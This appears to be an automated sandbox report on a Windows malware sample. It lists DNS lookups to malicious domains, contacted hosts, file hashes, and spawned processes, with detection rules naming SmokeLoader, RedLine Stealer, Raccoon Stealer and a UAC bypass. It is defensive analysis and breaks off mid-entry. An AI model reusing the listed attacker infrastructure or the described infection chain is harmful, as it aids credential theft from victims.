Oct 29, 2021 14:10:03.829663992 CEST	8.8.8.8	192.168.2.3	0x1c0b	No error (0)	hajezey1.top		5.188.88.203	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:04.354789019 CEST	8.8.8.8	192.168.2.3	0xffeb	No error (0)	hajezey1.top		5.188.88.203	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:04.758182049 CEST	8.8.8.8	192.168.2.3	0xaa7b	No error (0)	hajezey1.top		5.188.88.203	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:07.112236023 CEST	8.8.8.8	192.168.2.3	0x7901	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:07.112236023 CEST	8.8.8.8	192.168.2.3	0x7901	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:07.112236023 CEST	8.8.8.8	192.168.2.3	0x7901	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:07.112236023 CEST	8.8.8.8	192.168.2.3	0x7901	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:07.112236023 CEST	8.8.8.8	192.168.2.3	0x7901	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:07.948779106 CEST	8.8.8.8	192.168.2.3	0x26e2	No error (0)	hajezey1.top		5.188.88.203	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:08.648478031 CEST	8.8.8.8	192.168.2.3	0xf2b4	No error (0)	hajezey1.top		5.188.88.203	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:09.950828075 CEST	8.8.8.8	192.168.2.3	0x4ec3	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:09.950828075 CEST	8.8.8.8	192.168.2.3	0x4ec3	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:09.950828075 CEST	8.8.8.8	192.168.2.3	0x4ec3	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:09.950828075 CEST	8.8.8.8	192.168.2.3	0x4ec3	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:09.950828075 CEST	8.8.8.8	192.168.2.3	0x4ec3	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:11.306994915 CEST	8.8.8.8	192.168.2.3	0x1089	No error (0)	hajezey1.top		5.188.88.203	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:11.555179119 CEST	8.8.8.8	192.168.2.3	0xf6e9	No error (0)	hajezey1.top		5.188.88.203	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:12.161859035 CEST	8.8.8.8	192.168.2.3	0x524a	No error (0)	hajezey1.top		5.188.88.203	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:12.493707895 CEST	8.8.8.8	192.168.2.3	0xe2ab	No error (0)	iyc.jelikob.ru		81.177.141.36	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:12.754959106 CEST	8.8.8.8	192.168.2.3	0x614c	No error (0)	hajezey1.top		5.188.88.203	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:13.009208918 CEST	8.8.8.8	192.168.2.3	0xe0e1	No error (0)	hajezey1.top		5.188.88.203	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:13.281296968 CEST	8.8.8.8	192.168.2.3	0xfe4b	No error (0)	hajezey1.top		5.188.88.203	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:13.564043045 CEST	8.8.8.8	192.168.2.3	0xc420	No error (0)	hajezey1.top		5.188.88.203	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:15.605772018 CEST	8.8.8.8	192.168.2.3	0xd0bf	No error (0)	hajezey1.top		5.188.88.203	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:15.882200956 CEST	8.8.8.8	192.168.2.3	0x7c2a	No error (0)	hajezey1.top		5.188.88.203	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:16.153029919 CEST	8.8.8.8	192.168.2.3	0x2b2c	No error (0)	hajezey1.top		5.188.88.203	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:16.413116932 CEST	8.8.8.8	192.168.2.3	0xb9bf	No error (0)	hajezey1.top		5.188.88.203	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:16.670523882 CEST	8.8.8.8	192.168.2.3	0x6ef3	No error (0)	hajezey1.top		5.188.88.203	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:18.838687897 CEST	8.8.8.8	192.168.2.3	0xc1c0	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:18.838687897 CEST	8.8.8.8	192.168.2.3	0xc1c0	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:18.838687897 CEST	8.8.8.8	192.168.2.3	0xc1c0	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:18.838687897 CEST	8.8.8.8	192.168.2.3	0xc1c0	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:18.838687897 CEST	8.8.8.8	192.168.2.3	0xc1c0	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:19.898004055 CEST	8.8.8.8	192.168.2.3	0x7415	No error (0)	hajezey1.top		5.188.88.203	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:20.157886028 CEST	8.8.8.8	192.168.2.3	0xfda9	No error (0)	hajezey1.top		5.188.88.203	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:20.488089085 CEST	8.8.8.8	192.168.2.3	0x77e	No error (0)	sysaheu90.top		5.188.88.203	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:27.131249905 CEST	8.8.8.8	192.168.2.3	0xa277	No error (0)	hajezey1.top		5.188.88.203	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:27.417649031 CEST	8.8.8.8	192.168.2.3	0x97af	No error (0)	accounts.google.com		172.217.168.45	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:27.429796934 CEST	8.8.8.8	192.168.2.3	0x48f4	No error (0)	clients2.google.com	clients.l.google.com		CNAME (Canonical name)	IN (0x0001)
Oct 29, 2021 14:10:27.429796934 CEST	8.8.8.8	192.168.2.3	0x48f4	No error (0)	clients.l.google.com		142.250.203.110	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:29.266856909 CEST	8.8.8.8	192.168.2.3	0xa8d1	No error (0)	js.monitor.azure.com	aijscdn2.azureedge.net		CNAME (Canonical name)	IN (0x0001)
Oct 29, 2021 14:10:29.274403095 CEST	8.8.8.8	192.168.2.3	0x7d5f	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)
Oct 29, 2021 14:10:29.594722033 CEST	8.8.8.8	192.168.2.3	0xa6e9	No error (0)	github.com		140.82.121.4	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:30.233423948 CEST	8.8.8.8	192.168.2.3	0x3598	No error (0)	avatars.githubusercontent.com		185.199.109.133	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:30.233423948 CEST	8.8.8.8	192.168.2.3	0x3598	No error (0)	avatars.githubusercontent.com		185.199.111.133	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:30.233423948 CEST	8.8.8.8	192.168.2.3	0x3598	No error (0)	avatars.githubusercontent.com		185.199.110.133	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:30.233423948 CEST	8.8.8.8	192.168.2.3	0x3598	No error (0)	avatars.githubusercontent.com		185.199.108.133	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:32.007085085 CEST	8.8.8.8	192.168.2.3	0xa3c2	No error (0)	github.com		140.82.121.4	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:32.264583111 CEST	8.8.8.8	192.168.2.3	0xab43	No error (0)	avatars.githubusercontent.com		185.199.108.133	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:32.264583111 CEST	8.8.8.8	192.168.2.3	0xab43	No error (0)	avatars.githubusercontent.com		185.199.109.133	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:32.264583111 CEST	8.8.8.8	192.168.2.3	0xab43	No error (0)	avatars.githubusercontent.com		185.199.110.133	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:32.264583111 CEST	8.8.8.8	192.168.2.3	0xab43	No error (0)	avatars.githubusercontent.com		185.199.111.133	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:34.820704937 CEST	8.8.8.8	192.168.2.3	0x63a	Name error (3)	telegalive.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:38.020772934 CEST	8.8.8.8	192.168.2.3	0x9d28	Name error (3)	telegalive.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:41.382754087 CEST	8.8.8.8	192.168.2.3	0x26e8	Name error (3)	telegalive.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:44.196780920 CEST	8.8.8.8	192.168.2.3	0x59b	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)
Oct 29, 2021 14:10:44.196780920 CEST	8.8.8.8	192.168.2.3	0x59b	No error (0)	googlehosted.l.googleusercontent.com		142.250.203.97	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:44.624536991 CEST	8.8.8.8	192.168.2.3	0x7156	Name error (3)	telegalive.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:48.432509899 CEST	8.8.8.8	192.168.2.3	0x45dd	Name error (3)	telegalive.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:51.781487942 CEST	8.8.8.8	192.168.2.3	0xe31b	Name error (3)	telegalive.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:51.918087006 CEST	8.8.8.8	192.168.2.3	0x51b2	No error (0)	toptelete.top		172.67.160.46	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:51.918087006 CEST	8.8.8.8	192.168.2.3	0x51b2	No error (0)	toptelete.top		104.21.9.146	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:57.240221977 CEST	8.8.8.8	192.168.2.3	0x4151	No error (0)	nusurtal4f.net		45.141.84.21	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:58.028448105 CEST	8.8.8.8	192.168.2.3	0xed61	No error (0)	znpst.top		211.59.14.90	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:58.028448105 CEST	8.8.8.8	192.168.2.3	0xed61	No error (0)	znpst.top		222.236.49.123	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:58.028448105 CEST	8.8.8.8	192.168.2.3	0xed61	No error (0)	znpst.top		118.221.132.200	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:58.028448105 CEST	8.8.8.8	192.168.2.3	0xed61	No error (0)	znpst.top		115.88.24.203	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:58.028448105 CEST	8.8.8.8	192.168.2.3	0xed61	No error (0)	znpst.top		89.201.145.218	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:58.028448105 CEST	8.8.8.8	192.168.2.3	0xed61	No error (0)	znpst.top		92.62.104.245	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:58.028448105 CEST	8.8.8.8	192.168.2.3	0xed61	No error (0)	znpst.top		211.169.6.249	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:58.028448105 CEST	8.8.8.8	192.168.2.3	0xed61	No error (0)	znpst.top		179.178.42.164	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:58.028448105 CEST	8.8.8.8	192.168.2.3	0xed61	No error (0)	znpst.top		31.166.170.180	A (IP address)	IN (0x0001)
Oct 29, 2021 14:10:58.028448105 CEST	8.8.8.8	192.168.2.3	0xed61	No error (0)	znpst.top		123.213.233.194	A (IP address)	IN (0x0001)
Oct 29, 2021 14:11:09.448448896 CEST	8.8.8.8	192.168.2.3	0x4603	No error (0)	api.2ip.ua		77.123.139.190	A (IP address)	IN (0x0001)
Oct 29, 2021 14:11:11.197093010 CEST	8.8.8.8	192.168.2.3	0x5091	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Oct 29, 2021 14:11:11.197093010 CEST	8.8.8.8	192.168.2.3	0x5091	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Oct 29, 2021 14:11:11.197093010 CEST	8.8.8.8	192.168.2.3	0x5091	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Oct 29, 2021 14:11:11.197093010 CEST	8.8.8.8	192.168.2.3	0x5091	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Oct 29, 2021 14:11:11.197093010 CEST	8.8.8.8	192.168.2.3	0x5091	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Oct 29, 2021 14:11:12.723599911 CEST	8.8.8.8	192.168.2.3	0xed15	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Oct 29, 2021 14:11:12.723599911 CEST	8.8.8.8	192.168.2.3	0xed15	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Oct 29, 2021 14:11:12.723599911 CEST	8.8.8.8	192.168.2.3	0xed15	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Oct 29, 2021 14:11:12.723599911 CEST	8.8.8.8	192.168.2.3	0xed15	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Oct 29, 2021 14:11:12.723599911 CEST	8.8.8.8	192.168.2.3	0xed15	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Oct 29, 2021 14:11:17.423815966 CEST	8.8.8.8	192.168.2.3	0x9631	No error (0)	mas.to		88.99.75.82	A (IP address)	IN (0x0001)
Oct 29, 2021 14:11:20.522248030 CEST	8.8.8.8	192.168.2.3	0x14c7	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Oct 29, 2021 14:11:20.522248030 CEST	8.8.8.8	192.168.2.3	0x14c7	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Oct 29, 2021 14:11:20.522248030 CEST	8.8.8.8	192.168.2.3	0x14c7	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Oct 29, 2021 14:11:20.522248030 CEST	8.8.8.8	192.168.2.3	0x14c7	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Oct 29, 2021 14:11:20.522248030 CEST	8.8.8.8	192.168.2.3	0x14c7	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Oct 29, 2021 14:11:22.069711924 CEST	8.8.8.8	192.168.2.3	0x1f6	No error (0)	mas.to		88.99.75.82	A (IP address)	IN (0x0001)
Oct 29, 2021 14:11:41.068432093 CEST	8.8.8.8	192.168.2.3	0x5be6	No error (0)	api.2ip.ua		77.123.139.190	A (IP address)	IN (0x0001)
Oct 29, 2021 14:11:45.163240910 CEST	8.8.8.8	192.168.2.3	0xa4e4	No error (0)	api.2ip.ua		77.123.139.190	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

hdytesri.org

hajezey1.top

hxpkekj.com

privacytoolzforyou-6000.top

glmgx.com

yuwnqq.com

bhitjmrc.com

dignolmjwo.com

uhgju.org

vumfxrbs.com

npvevaeyy.net

jqgngasfhc.org

fjibch.net

yvypqbsdmc.com

knelfvrqfb.com

mgtlhphal.com

iouiiivyis.org

pblfggd.net

qrhhbxdcks.net

tdgnneuj.com

fvlfqoywa.com

ymejogxekm.net

cfgober.net

weiifp.org

cwqkqbcdy.org

rxaxe.net

auuomlb.com

hhqcogw.org

uuocrqwp.org

eqvwckh.com

fvfjwsqv.org

sysaheu90.top

rowqyedjmp.org

toptelete.top

194.180.174.181

nusurtal4f.net

znpst.top

tnjhdjy.org

193.56.146.214

rfjetdallh.org

hndhvvubql.org

potfqvj.org

qpxove.net

oftpi.net

ussig.org

ddmqcj.org

swmkrkh.net

65.108.80.190

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: Md0q201V1D.exe PID: 6304 Parent PID: 5100

General

Start time:	14:08:56
Start date:	29/10/2021
Path:	C:\Users\user\Desktop\Md0q201V1D.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\Md0q201V1D.exe'
Imagebase:	0x400000
File size:	346624 bytes
MD5 hash:	A0BC297D8EAAD37F1B145D108786E993
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: Md0q201V1D.exe PID: 5724 Parent PID: 6304

General

Start time:	14:09:01
Start date:	29/10/2021
Path:	C:\Users\user\Desktop\Md0q201V1D.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\Md0q201V1D.exe'
Imagebase:	0x400000
File size:	346624 bytes
MD5 hash:	A0BC297D8EAAD37F1B145D108786E993
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000003.00000002.338103224.00000000004F0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000003.00000002.338316447.0000000001F91000.00000004.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: explorer.exe PID: 3352 Parent PID: 5724

General

Start time:	14:09:08
Start date:	29/10/2021
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff720ea0000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000A.00000000.326584645.0000000004DE1000.00000020.00020000.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: gbhudtb PID: 7044 Parent PID: 664

General

Start time:	14:09:40
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Roaming\gbhudtb
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\gbhudtb
Imagebase:	0x400000
File size:	346624 bytes
MD5 hash:	A0BC297D8EAAD37F1B145D108786E993
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: 21.exe PID: 2132 Parent PID: 3352

General

Start time:	14:09:42
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\21.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\21.exe
Imagebase:	0x400000
File size:	346624 bytes
MD5 hash:	A0BC297D8EAAD37F1B145D108786E993
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: 21.exe PID: 808 Parent PID: 2132

General

Start time:	14:09:49
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\21.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\21.exe
Imagebase:	0x400000
File size:	346624 bytes
MD5 hash:	A0BC297D8EAAD37F1B145D108786E993
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000013.00000002.400930179.0000000002061000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000013.00000002.400697119.0000000000580000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: gbhudtb PID: 3016 Parent PID: 7044

General

Start time:	14:09:51
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Roaming\gbhudtb
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\gbhudtb
Imagebase:	0x400000
File size:	346624 bytes
MD5 hash:	A0BC297D8EAAD37F1B145D108786E993
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: gbhudtb PID: 5332 Parent PID: 664

General

Start time:	14:10:01
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Roaming\gbhudtb
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\gbhudtb
Imagebase:	0x400000
File size:	346624 bytes
MD5 hash:	A0BC297D8EAAD37F1B145D108786E993
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: B096.exe PID: 6404 Parent PID: 3352

General

Start time:	14:10:02
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\B096.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\B096.exe
Imagebase:	0xa00000
File size:	512512 bytes
MD5 hash:	F57B28AEC65D4691202B9524F84CC54A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000018.00000002.503371064.0000000003E09000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000018.00000003.442159115.00000000065DB000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000018.00000002.520563950.0000000006381000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000018.00000002.519980779.0000000005F90000.00000004.00020000.sdmp, Author: Joe Security Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\B096.exe, Author: Florian Roth
Reputation:	low

Chronological Activities

Analysis Process: BBE1.exe PID: 4756 Parent PID: 3352

General

Start time:	14:10:06
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\BBE1.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\BBE1.exe
Imagebase:	0x790000
File size:	22528 bytes
MD5 hash:	787AF677D0C317E8062B9705CB64F951
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\BBE1.exe, Author: Florian Roth
Antivirus matches:	Detection: 22%, ReversingLabs
Reputation:	moderate

Chronological Activities

Analysis Process: gbhudtb PID: 3796 Parent PID: 5332

General

Start time:	14:10:08
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Roaming\gbhudtb
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\gbhudtb
Imagebase:	0x400000
File size:	346624 bytes
MD5 hash:	A0BC297D8EAAD37F1B145D108786E993
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000001C.00000002.449845582.0000000000561000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000001C.00000002.449446646.0000000000530000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: CBF0.exe PID: 6000 Parent PID: 3352

General

Start time:	14:10:09
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\CBF0.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\CBF0.exe
Imagebase:	0x400000
File size:	212992 bytes
MD5 hash:	73252ACB344040DDC5D9CE78A5D3A4C2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000001D.00000003.438106147.0000000003080000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000001D.00000002.453324146.00000000031C1000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000001D.00000002.453199313.0000000003090000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 80%, ReversingLabs
Reputation:	moderate

Chronological Activities

Analysis Process: aspnet_state.exe PID: 4772 Parent PID: 6404

General

Start time:	14:10:10
Start date:	29/10/2021
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_state.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_state.exe
Imagebase:	0x960000
File size:	47208 bytes
MD5 hash:	3269806DC450E24113CF4FE03C3AD197
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001E.00000000.439226875.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001E.00000000.438304869.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001E.00000000.439894383.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001E.00000000.440496476.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001E.00000002.466743057.0000000000402000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	moderate

Chronological Activities

Analysis Process: DF3A.exe PID: 5464 Parent PID: 3352

General

Start time:	14:10:14
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\DF3A.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\DF3A.exe
Imagebase:	0xa40000
File size:	161280 bytes
MD5 hash:	9FA070AF1ED2E1F07ED8C9F6EB2BDD29
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Reputation:	moderate

Chronological Activities

Analysis Process: EBBE.exe PID: 1140 Parent PID: 3352

General

Start time:	14:10:17
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\EBBE.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\EBBE.exe
Imagebase:	0x400000
File size:	348672 bytes
MD5 hash:	539C39A9565CD4B120E5EB121E45C3C2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000021.00000002.481901309.00000000048F1000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000021.00000002.480747015.0000000002D30000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: chrome.exe PID: 6016 Parent PID: 4772

General

Start time:	14:10:20
Start date:	29/10/2021
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Google\Chrome\Application\chrome.exe' --start-maximized --enable-automation -- 'http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=aspnet_state.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0'
Imagebase:	0x7ff68b0a0000
File size:	2150896 bytes
MD5 hash:	C139654B5C1438A95B321BB01AD63EF6
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: C066.exe PID: 5604 Parent PID: 3352

General

Start time:	14:10:23
Start date:	29/10/2021
Path:	C:\Users\user\AppData\Local\Temp\C066.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\C066.exe
Imagebase:	0x400000
File size:	601600 bytes
MD5 hash:	F0BE69176E592FA1A6345A7090A9EA30
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Raccoon, Description: Yara detected Raccoon Stealer, Source: 00000023.00000003.479598454.0000000004960000.00000004.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: chrome.exe PID: 6128 Parent PID: 6016

General

Start time:	14:10:24
Start date:	29/10/2021
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
